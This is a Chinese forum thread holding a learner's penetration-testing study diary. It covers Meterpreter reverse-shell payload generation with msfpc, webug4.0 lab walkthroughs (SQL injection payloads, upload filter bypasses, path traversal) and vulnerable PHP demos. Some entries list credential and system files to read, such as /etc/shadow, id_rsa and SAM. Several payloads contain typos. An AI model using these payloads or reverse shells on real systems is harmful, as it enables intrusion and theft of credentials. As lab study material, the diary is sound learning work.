安全矩阵

 找回密码
 立即注册
搜索
楼主: oldmoon

胡逸芳的学习日记

[复制链接]

30

主题

60

帖子

447

积分

中级会员

Rank: 3Rank: 3

积分
447
 楼主| 发表于 2020-5-28 21:31:30 | 显示全部楼层
本帖最后由 oldmoon 于 2020-5-28 21:36 编辑

200528  

msfpc
参考文章:
https://mp.weixin.qq.com/s?__biz=MzA5NjU1MzYxNw==&mid=2649284782&idx=1&sn=da3290dfd2571bc3e78f3f31a1ba8bc6&chksm=88b21f50bfc596463a5021f35e6199587eaec90c88f7a3e3bb490018a10921e9f9bff6a8ee30&mpshare=1&scene=23&srcid=&sharer_sharetime=1590578371642&sharer_shareid=ff83fe2fe7db7fcd8a1fcbc183d841c4#rd
http://www.52bug.cn/hkjs/4101.html
简介:MSFvenom Payload生成器,能够简单便捷地生成payload
实用性:弱,特征过于明显,payload没有编码或加壳。经测试 不能过火绒和360。可在日常实验中用于本地虚拟机的复现测试。
安装:
  1. Kail Linux:
  2. #apt install msfpc         //已包含在kail工具库中

  3. 一般Linux:
  4. #git clone https://github.com/g0tmi1k/mpc
  5. #cd mpc
复制代码
生成payload及上线:
  1. #msfpc windows      //生成一个windows下shell,同理也可  linux  apt
  2. [*] MSFvenom Payload Creator (MSFPC v1.4.5)

  3. [i] Use which interface - IP address?:
  4. [i]   1.) lo - 127.0.0.1
  5. [i]   2.) eth0 - UNKNOWN
  6. [i]   3.) docker0 - UNKNOWN
  7. [?] Select 1-3, interface or IP address: 192.168.xx.xxx

  8. [i]   IP: 192.168.xx.xxx
  9. [i] PORT: 443
  10. [i] TYPE: windows (windows/meterpreter/reverse_tcp)
  11. [i]  CMD: msfvenom -p windows/meterpreter/reverse_tcp -f exe \
  12.   --platform windows -a x86 -e generic/none LHOST=192.168.xx.xxx LPORT=443 \
  13.   > '/root/windows-meterpreter-staged-reverse-tcp-443.exe'

  14. #ls
  15. windows-meterpreter-staged-reverse-tcp-443.exe
  16. windows-meterpreter-staged-reverse-tcp-443-exe.rc
  17. windows-meterpreter-staged-reverse-tcp-4444.exe
  18. windows-meterpreter-staged-reverse-tcp-4444-exe.rc
  19. windows-meterpreter-staged-reverse-tcp-8080.aspx
  20. windows-meterpreter-staged-reverse-tcp-8080-aspx.rc
  21. windows-meterpreter-staged-reverse-tcp-8080.exe
  22. windows-meterpreter-staged-reverse-tcp-8080-exe.rc
  23. //可见能生成一系列不同端口下的反向tcp载荷(注意默认端口是443)
  24. //有两个文件,payload及msfconsole下的.rc文件
  25. 目标机运行payload后,执行命令:

  26. #msfpc -p -r windows-meterpreter-staged-reverse-tcp-443-exe.rc
复制代码


蓝队须知:
转自微信公众号雷神众测:https://mp.weixin.qq.com/s?__biz=MzI0NzEwOTM0MA==&mid=2652476572&idx=1&sn=45ba1b54d0653affc8ff66c53cfe6b00&chksm=f258372fc52fbe3999884bb82bed69c497b1356d9eb5f02971ee6567f519bdb392b686017f26&mpshare=1&scene=23&srcid=&sharer_sharetime=1590576736875&sharer_shareid=ff83fe2fe7db7fcd8a1fcbc183d841c4#rd
外网突破往往分成两步
1、广域资产收集
广域这个概念,可以涵盖以下几个维度:
a、子域名、同IP域名、同IP段、域名备案信息
b、微信公众号、微信小程序
c、shadon、fofa、zoomeye等资产收集引擎
d、github信息泄露、百度网盘信息泄露
e、供应链、上下级公司的广域资产
2、常见突破外网手段
a、Struts、Weblogic、shiro等中间件漏洞getshell
b、fastjson等组件漏洞getshell
c、弱口令+后台漏洞getshell
d、邮件系统弱口令与社工钓鱼
e、注入、任意文件下载、中间件解析漏洞、代码/命令执行
f、第三方获得源代码进行代码审计
g、通用系统0day,通常集中在:OA系统、邮件系统等
h、VPN弱口令与0day

应对方式
1、详尽的资产梳理,发现外网资产,并对这些外网资产进行清理
2、常见RCE漏洞专项检测
3、常见getshell组件梳理与专项检测
4、弱口令清理与口令猜解的封堵
5、安全意识培训与钓鱼邮件演练
6、邮件网关部署防病毒引擎、APT检测设备
7、将邮件服务器Web登录界面移至内网,外网仅开放pop3、smtp端口
8、保证外采系统升级至最新版
9、确保安全防护设备策略开启并开启封堵策略
10、企业网络白名单梳理与内部网络隔离

其中列出的shadon、fofa、zoomeye资产收集引擎经偶见一隅仿佛打开新世界的大门。点名shadon赛高。
Shadon使用指南:https://www.cnblogs.com/H4ck3R-XiX/p/12950736.html



回复

使用道具 举报

30

主题

60

帖子

447

积分

中级会员

Rank: 3Rank: 3

积分
447
 楼主| 发表于 2020-5-31 18:19:19 | 显示全部楼层
本帖最后由 oldmoon 于 2020-6-4 22:01 编辑

webug4.0  1-8 注入型
200531 (1)
1.显错注入

http://webug4.0/oldmoon.php?id=1
1.探测是否为注入点,常规尝试
(1)加单引号、双引号、单括号等
  1. url?id=1'
  2. url?id=1"
  3. url?id=1)
  4. url?id=1')
复制代码
发现报错

(2)修改id值,看页面内容是否会随之变化



得出结论:
a.若红框部分没有文本内容,即为无法搜到该id下的结果(该id不存在)
b.结合单引号,后续构造语句可统一格式:?id=3' union ...... %23
2.查看库中共有多数据的数量和位置
  1. url?id=3' order by 1 %23     正常
  2. url?id=3' order by 5 %23     错误
  3. url?id=3' order by 3 %23     错误
  4. url?id=3' order by 2 %23     正常
复制代码


二分法查询得结果有两列,接下来查看数据在哪列
  1. url?id=3' union select 1,2 %23
复制代码
在第二列

3.利用注入点获取更多基本信息
(1)获取用户名
  1. url?id=3' union select 1,user() %23
复制代码

(2)操作系统
  1. url?id=3' union select 1,@@version_compile_os %23
复制代码

(3)mysql版本号
  1. url?id=3' union select 1,version() %23
复制代码

15以上版本中含有infoemation_schema数据库,用于存储mysql中各个数据库的表及字段等基本信息。
4.确认mysql中含有哪些数据库
  1. url?id=3' union select 1,group_concat(schema_name) from infoemation_schema.schemata %23
复制代码

5.确认当前页面信息所在的数据库
  1. url?id=3' union select 1,database() %23
复制代码

6.寻找当前数据库下存在的表单
  1. url?id=3' union select 1,group_concat(table_name) form information_schema.tables where table_schema='webug' %23
复制代码

7.看见一个flag表,确认表中信息
  1. url?id=3' union select 1,group_concat(column_name) from information_schema.columns where table_name='flag' and table_schema='webug'  %23
复制代码
  1. url?id=3' union select 1,group_concat(flag) from flag %23
复制代码

得到flag









本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

30

主题

60

帖子

447

积分

中级会员

Rank: 3Rank: 3

积分
447
 楼主| 发表于 2020-6-4 09:48:52 | 显示全部楼层
本帖最后由 oldmoon 于 2020-6-4 22:03 编辑

webug4.0  17-21 文件上传型
200604(17、18、19、20、21)

17.
文件上传(前端拦截)
进入页面,尝试上传.php文件,不支持该格式

查看源码,发现过滤函数

猜测为黑名单过滤,bp抓包修改文件后缀,得到文件存储路径

菜刀连接,成功。



18.文件上传(解析漏洞)
进入页面,尝试上传.php文件,同样不支持上传该类型文件
查看源码,同上发现过滤函数
bp抓包修改文件后缀,返回error

经尝试修改各种后缀,发现只有jpg、png、gif文件能够上传,应为白名单过滤
尝试使用%00截断,得到上传路径

但是菜刀连接不能成功,且浏览器访问相应目录显示此文件(http://ip/template/upload/oldmoon4.php%00.png)不存在
ps:利用解析漏洞时还可尝试:汉字截断,但要记着加上编码类型,否则会是乱码

19.文件上传(畸形文件)
进入页面,常规操作(上传.php文件,不支持上传该类型文件,查看源码发现过滤函数,bp抓包修改文件后缀,后文“常规操作”同此括号内容)
,发现返回的文件路径中上传文件被重命名且删除了后缀,不能进行利用

后缀双写(oldmoon.pphphp)绕过,成功



20.文件上传(截断上传)21.文件上传(htaccess)
进入页面,常规操作
返回error

进行汉字截断、%00截断均与上18.解析漏洞一样,虽能返回路径但是菜刀无法连接,url搜索查无此文件。

21.文件上传(htaccess)
进入页面,常规操作,竟然成功,感觉没有达到htaccess的考察目的

---------------------------------------
关于htaccess的补充:
1.什么是htaccess?
.htaccess文件(或者"分布式配置文件"),全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。
2.htaccess的功能有哪些?
通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
---------------------------------------
上传.htaccess文件失败,经查勘为源码禁止上传该类型文件,接下来叙述本应有的过程:
  1. ####   filename:.htaccess  ####
  2. ####  文件类型:eXtensible Markup Language file(*.xml;*.xaml;*.xsl;*.xslt;*.xsd;*.xul;.kml;*.svg;*.mxml;*.xsml;*.wsdl;*.xlf;*.xliff;*.sxbl;*.sitemap;*.gml;*.gpx;*.plist)  ####
  3. <FilesMatch "asd">
  4. SetHandler application/x-httpd-php
  5. <FilesMetch>
复制代码



本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

30

主题

60

帖子

447

积分

中级会员

Rank: 3Rank: 3

积分
447
 楼主| 发表于 2020-6-4 21:58:27 | 显示全部楼层
webug4.0  9-16
200604  (11、14、15)
11.万能密码登录
打开界面是个登录框,猜测sql语句是:
  1. select * from users where name=$name and passwd=$passwd + 条件限制语句等
复制代码
猜测登录名:admin,密码处尝试字符型注入:
  1. 1.#注释
  2. ) or 1=1#    失败
  3. " or 1=1#    失败
  4. ' or 1=1#    成功

  5. 2.-- a注释(需在--后加上空格和任意字符才有注释作用)
  6. ) or 1=1-- a    失败
  7. " or 1=1-- a    失败
  8. ' or 1=1-- a   成功

  9. 3.形成闭合
  10. ) or (1)=(1    失败
  11. " or "1"="1    失败
  12. ’ or '1'='1    成功
复制代码
可成功得到flag
14.链接注入
打开页面观察url及页面发现id号和页面中一处隐藏跳转链接数字相同,是巧合还是漏洞所在?经尝试发现此处是可修改的

对url处进行构造,插入想要跳转的链接
  1. http://ip/control/xss/link_xss.php?id=1

  2. http://ip/control/xss/link_xss.php?id=<a herf="https://www.baidu.com">baidu</a>
复制代码
修改后点击此处可跳转到百度首页,若在实际渗透中插入恶意链接,将影响巨大。
15.任意文件下载
将页面上两个文件下载下来,未发现有用信息。


但可提取处出文件下载路径:
  1. http://ip/control/filedownload/file_download.php?file=template/assets/img/1.txt
复制代码
得到相对文件地址:template/assets/img/1.txt
尝试遍历目录:(此步骤失败,寻找攻略如下叙述,可参照原理)
  1. 我们已经知道机器为windows,所以我们不妨读取下C:\boot.ini查看系统版本

  2. http://192.168.136.130/control/filedownload/ini_file_download.php?file=template/../boot.ini,无反应

  3. http://192.168.136.130/control/filedownload/ini_file_download.php?file=template/../../boot.ini,无反应

  4. http://192.168.136.130/control/filedownload/ini_file_download.php?file=template/../../../boot.ini,有反应提示能下载
复制代码
  1. Windows:

  2. C:\boot.ini //查看系统版本

  3. C:\Windows\System32\inetsrv\MetaBase.xml //IIS配置文件

  4. C:\Windows\repair\sam //存储系统初次安装的密码

  5. C:\Program Files\mysql\my.ini //Mysql配置

  6. C:\Program Files\mysql\data\mysql\user.MYD //Mysql root

  7. C:\Windows\php.ini //php配置信息

  8. C:\Windows\my.ini //Mysql配置信息

  9. C:\Windows\win.ini //Windows系统的一个基本系统配置文件


  10. Linux:

  11. /root/.ssh/authorized_keys

  12. /root/.ssh/id_rsa

  13. /root/.ssh/id_ras.keystore

  14. /root/.ssh/known_hosts //记录每个访问计算机用户的公钥

  15. /etc/passwd

  16. /etc/shadow

  17. /etc/my.cnf //mysql配置文件

  18. /etc/httpd/conf/httpd.conf //apache配置文件

  19. /root/.bash_history //用户历史命令记录文件

  20. /root/.mysql_history //mysql历史命令记录文件

  21. /proc/mounts //记录系统挂载设备

  22. /porc/config.gz //内核配置文件

  23. /var/lib/mlocate/mlocate.db //全文件路径

  24. /porc/self/cmdline //当前进程的cmdline参数
复制代码
任意文件下载漏洞学习参考文章:https://www.cnblogs.com/zhaijiahui/p/8459661.html




本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

30

主题

60

帖子

447

积分

中级会员

Rank: 3Rank: 3

积分
447
 楼主| 发表于 2020-6-4 21:59:59 | 显示全部楼层
webug4.0  22-30
200604  (23成功)
22.越权修改密码
未成功

23.支付漏洞
购买商品页面,先走一遍流程,发现点击购买商品后弹框通知“您花了100元购买了该商品”
bp抓包发现prices值使用GET传参,直接将price=100改成price=1,即可弹框“您花了1元购买了该商品”,利用成功



24.邮箱轰炸
未成功

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

30

主题

60

帖子

447

积分

中级会员

Rank: 3Rank: 3

积分
447
 楼主| 发表于 2020-6-27 21:13:01 | 显示全部楼层
本帖最后由 oldmoon 于 2020-6-27 21:17 编辑

Web安全攻防--渗透测试实战指南
200627  第一章总结      渗透测试之信息收集




ps:备忘一个命令:Linux远程登陆
  1. root~kali#  rdesktop  -g  1366x768  ip                //-g+屏幕分辨率
复制代码





本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

30

主题

60

帖子

447

积分

中级会员

Rank: 3Rank: 3

积分
447
 楼主| 发表于 2020-6-28 17:46:10 | 显示全部楼层
Web安全攻防--渗透测试实战指南
200628  第三章  常用的渗透测试工具  第一节  SQLMap详解




ps:备忘两个问题:
1.WAF防护+白名单/黑名单过滤机制下如何通过网页端进行注入操作?--注释超长字节内容
2.普通用户权限下如何向数据库中写入木马文件?--依不同权限情况而定



本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

30

主题

60

帖子

447

积分

中级会员

Rank: 3Rank: 3

积分
447
 楼主| 发表于 2020-7-9 21:35:08 | 显示全部楼层
Python黑帽子 --  黑客与渗透测试编程之道

注:此书是基于为python2.7环境下所写,而现今使用带动python3部分语法与之不兼容,故下与原书中有不同之处的代码均为本人修改BUG后的结果,差异之处会以每行语句后方三个连续井号###加以标注及区分


TCP客户端
  1. ''' tcp-client.py    创建TCP客户端用以连接服务、发送垃圾数据、进行模糊测试或其他任务 '''

  2. import socket

  3. target_host = "www.baidu.com"
  4. target_port = 80

  5. #声明socket类型,同时建立一个socket对象,AF_INET表示使用标准IPV4地址或主机名,SOCK.STREAM说明这里是一个TCP客户端
  6. client = socket.socket(socket.AF_INET,socket.SOCK_STREAM)   

  7. #连接客户端
  8. client.connect((target_host,target_port))      ###

  9. #发送一些数据
  10. #此处报错原因未知,但进行注释后即可运行,虽并未正常运行
  11. client.send(bytes("GET / HTTP/1.1\r\nHost:baidu.com\r\n\r\n",'utf8'))      ###

  12. #接收一些数据,4096表示4kb
  13. response = client.recv(4096)

  14. print(response)
复制代码

TCP服务器
  1. ''' tcp-server.py '''

  2. import socket
  3. import threading

  4. #绑定到所有网络地址
  5. bind_ip = "0.0.0.0"
  6. bind_port = 9999

  7. #创建socket对象
  8. server = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
  9. #绑定端口号
  10. server.bind((bind_ip,bind_port))   
  11. #设置最大连接数为5
  12. server.listen(5)

  13. print("[*] Listening on %s:%d" % (bind_ip,bind_port))      ###

  14. #客户端处理线程
  15. def handle_client(client_socket):

  16.     #打印出客户端发送得到内容
  17.         request = client_socket.recv(1024)
  18.         #打印出接收内容
  19.         print ("[*] Received: %s" % request)      ###
  20.         #返还一个数据包
  21.         client_socket.send(str.encode("OLDMOON!"))      ###
  22.         client_socket.close()
  23.         
  24. while True:
  25.         #建立客户端连接
  26.         client,addr = server.accept()
  27.         #打印连接地址
  28.         print("[*] Accepted connection from: %s:%d" % (addr[0],addr[1]))      ###
  29.         #创建一个线程对象,挂起客户端线程,处理传入的数据
  30.         client_handler = threading.Thread(target=handle_client,args=(client,))
  31.         #启动线程
  32.         client_handler.start()
复制代码



若出现:TypeError:a bytes-like object is requied , not 'str'  提示,原因是python3与python2在套接字返回值解码上有区别
解决方法:1.str = str.encode()      2.(bytes(str),'utf8')  或  (bytes(str),encoding='UTF8')
具体示例如上述代码中能够体现


回复

使用道具 举报

30

主题

60

帖子

447

积分

中级会员

Rank: 3Rank: 3

积分
447
 楼主| 发表于 2020-7-15 10:26:26 | 显示全部楼层
Python黑帽子 --  黑客与渗透测试编程之道

UDP 客户端
  1. ''' udp-client.py    创建UDP客户端用以连接服务、发送垃圾数据、进行模糊测试或其他任务 '''
  2. import socket
  3. import time      ###

  4. #设置socket层的超时时间为20秒
  5. socket.setdefaulttimeout(20)      ###

  6. target_host = "127.0.0.1"
  7. target_port = 80

  8. #建立一个socket对象
  9. client = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)

  10. #发送一些数据
  11. client.sendto(str.encode('OLDMOON'),(target_host,target_port))      ###

  12. #接收一些数据
  13. data,addr = client.recvfrom(4096)

  14. response.close()      ###
  15. #HttpWorkerRequest.CloseConnection()   

  16. print(data)

  17. time.sleep(10)      ###

  18. """
  19. 报错存疑,未解决。
  20. 查资料得知是因为使用urlopen方法太过频繁,引起远程主机的怀疑,被网站认定为是攻击行为。导致urlopen()后,request.read()一直卡死在那里。最后抛出10054异常。
  21. D:\py blackhat>python udp-client.py
  22. Traceback (most recent call last):
  23.   File "udp-client.py", line 17, in <module>
  24.     data,addr = client.recvfrom(4096)
  25. ConnectionResetError: [WinError 10054] 远程主机强迫关闭了一个现有的连接。
  26. """
复制代码


UDP 服务器端
  1. ''' UDP-server.py '''
  2. import socket

  3. bind_ip = "0.0.0.0"
  4. bind_port = 9999

  5. server = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
  6. server.bind((bind_ip,bind_port))

  7. while True:
  8.   data,addr = server.recvfrom(4096)
  9.   print('recieved from %s:%s.'% addr)
  10.   #b表示二进制字符串,括号内的内容原样输出
  11.   server.sendto(b'hello,i receive:%s'% data,addr)
复制代码

与TCP协议不同的是,在创建套接字对象时,需要将套接字类型改为SOCK_DGRAM。且因UDP是一个无连接状态的传输协议,所以不需要调用connect()函数。故可直接调用sendto()函数将数据传输到设定好的服务器上。最后调用recvfrom()函数接受返回的UDP数据包。


回复

使用道具 举报

30

主题

60

帖子

447

积分

中级会员

Rank: 3Rank: 3

积分
447
 楼主| 发表于 2020-7-20 16:00:55 | 显示全部楼层
本帖最后由 oldmoon 于 2020-7-21 10:59 编辑

Web安全攻防--渗透测试实战指南
200718   4.1 SQL注入基础总结

00x1  Union注入
union.php
  1. <?php
  2. $con=mysqli_connect("localhost","root","123456","test1");
  3. if (mysqli_connect_errno())
  4.   {
  5.     echo "连接失败:" . mysqli_connect_errno();
  6.   }
  7. $id = $_GET['id'];
  8. $result = mysqli_query($con,"select * from users where 'id'=".$id);
  9. $row = mysqli_fetch_array($result);
  10. echo $row['username'] . ":" .$row['address'];
  11. echo "<br>"
  12. ?>



  13. /**
  14. GET取得参数ID,将ID拼接到SQL查询语句中,在数据库中查询ID对应内容,将第一条查询结果中username及address输出到页面回显。
  15. 注入流程:
  16. ?id=1
  17. ?id=1'  ?id=1"  ?id=1)
  18. ?id=1 and 1=1%23  ?id=1 and 1=2%23    #判断注入是否存在
  19. ?id=1 order by 1-9999     #判断字段数
  20. ?id=-1 union select 1,2,3,4,5,6
  21. ?id=-1 union select 1,database(),3       #查询数据库名
  22. ?id=-1 union select table_name from information_schema.tables where table_schema='databasename' ilmit 0,1    #查询数据库中表名
  23. ?id=-1 union select column_name from information_sschema.columns where table_schema='databasename' and table_name='tablename' limit 0,1       #查询表中字段名
  24. ?id=-1 union select tablename from databasename limit 0,1    #查询数据库中对应具体数据
  25. **/
复制代码


00x2  Boolean注入
boolean.php
  1. <?php
  2. $con=mysqli_connect("localhost","root","123456","test2");
  3. if (mysqli_connect_errno)
  4.   {
  5.     echo "连接失败" . mysqli_connect_errno();
  6.   }
  7. $id = $_GET['id'];
  8. if (preg_match("/union|sleep|benchmark/i",$id))        #此处过滤传入参数$id中的union、sleep、benchmark语句,黑名单
  9.   {
  10.     exit("no");
  11.   }
  12. $result = mysqli_query($con,"select * from users where 'id'=.$id."'");
  13. $row = mysqli_fetch_array($result);
  14. if ($row)
  15.   {
  16.     exit("yes");
  17.   }
  18.   else
  19.   {
  20.     exit("no");
  21.   }
  22. ?>



  23. /**
  24. boolean种类下的注入特点是只会返回yes/no或true/false,因此我们需要构造SQL判断语句,通过查看页面的返回结果推测哪些SQL判断条件是成立的,以此获得数据库中的数据。
  25. 多使用穷举法,需要辅助bp进行爆破。
  26. 注入流程:
  27. ?id=1
  28. ?id=1'  ?id=1"  ?id=1)
  29. ?id=1 and 1=1%23  ?id=1 and 1=2%23       #通过返回的yes/no,判断注入是否存在
  30. #判断数据库名长度
  31. ?id=1' and length(database())>=1--+
  32. ?id=1' and length(database())>=2--+
  33. ?id=1' and length(database())>=4--+
  34. #使用逐字符判断的方式获取数据库名
  35. ?id=1' and substr(database(),1,1)='a'--+       #截取database()的值,从第一个字符开始每次只返回一个字符。可使用bp爆破‘t’值
  36. #或使用ASCII码的字符进行查询,MySQL中ASCII转换函数为ord()
  37. ?id=1' and ord(substr(database(),1,1))=115--+
  38. #同理可获取表名和字段名
  39. ?id=1' and substr((select table_name from information_schema.tables where table_schema='databasename' limit 0,1),1,1)='b'--+
  40. ?id=1' and substr((select column_name from information_schema.columns where table_schema='databasename' and table_name='tablename' limit 0,1),1,1)='c'--+
  41. **/
复制代码


00x3  报错注入
error.php
  1. <?php
  2. $con=mysql_connect("localhost","root","123456","test3");
  3. if (mysqli_connect_errno())
  4.   {
  5.     echo "连接失败:" . mysqli_connect_error();
  6.   }
  7. $username = $_GET['username'];
  8. if($result = mysqli_query($con,"select * from users where 'username'='".$username."'"))
  9.   {
  10.     echo "ok";
  11.   }
  12.   else
  13.   {
  14.     echo mysqli_error($con);
  15.   }
  16. ?>



  17. /**
  18. 报错注入,在传入参数中构造SQL查询语句,使返回报错信息的同时也返回查询信息。
  19. 注入流程:
  20. ?id=1
  21. ?id=1'  ?id=1"  ?id=1)
  22. ?id=1 and 1=1%23  ?id=1 and 1=2%23            #判断注入是否存在
  23. #利用函数updatexml()获取user()值
  24. ?id=1' and uodatexml(1,concat(0x7e,(select user()),0x7e),1)--+         #0x7e为ASCII编码,解码结果为~,起到分隔作用,在其之间的便是user名
  25. #获取database()值
  26. ?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
  27. #获取库名,concat()中语句与union注入时语句相同
  28. ?id=1' and updatexml(1,concat(ox7e,(select schema_name from information_schema.schemata limit 0,1),0x7e),1)--+
  29. #获取表名
  30. ?id=1' and updatexml(1,concat(ox7e,(select table_name from information_schema.tables where table_schema='databasename' limit 0,1),0x7e),1)--+
  31. #获取字段名
  32. ?id=1' and updatexml(1,concat(ox7e,(select column_name from information_schema.columns where table_schema='databasename' and table_name='tablename' limit 0,1),0x7e),1)--+
  33. ......
  34. **/
复制代码



回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-28 00:51 , Processed in 0.038322 second(s), 17 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表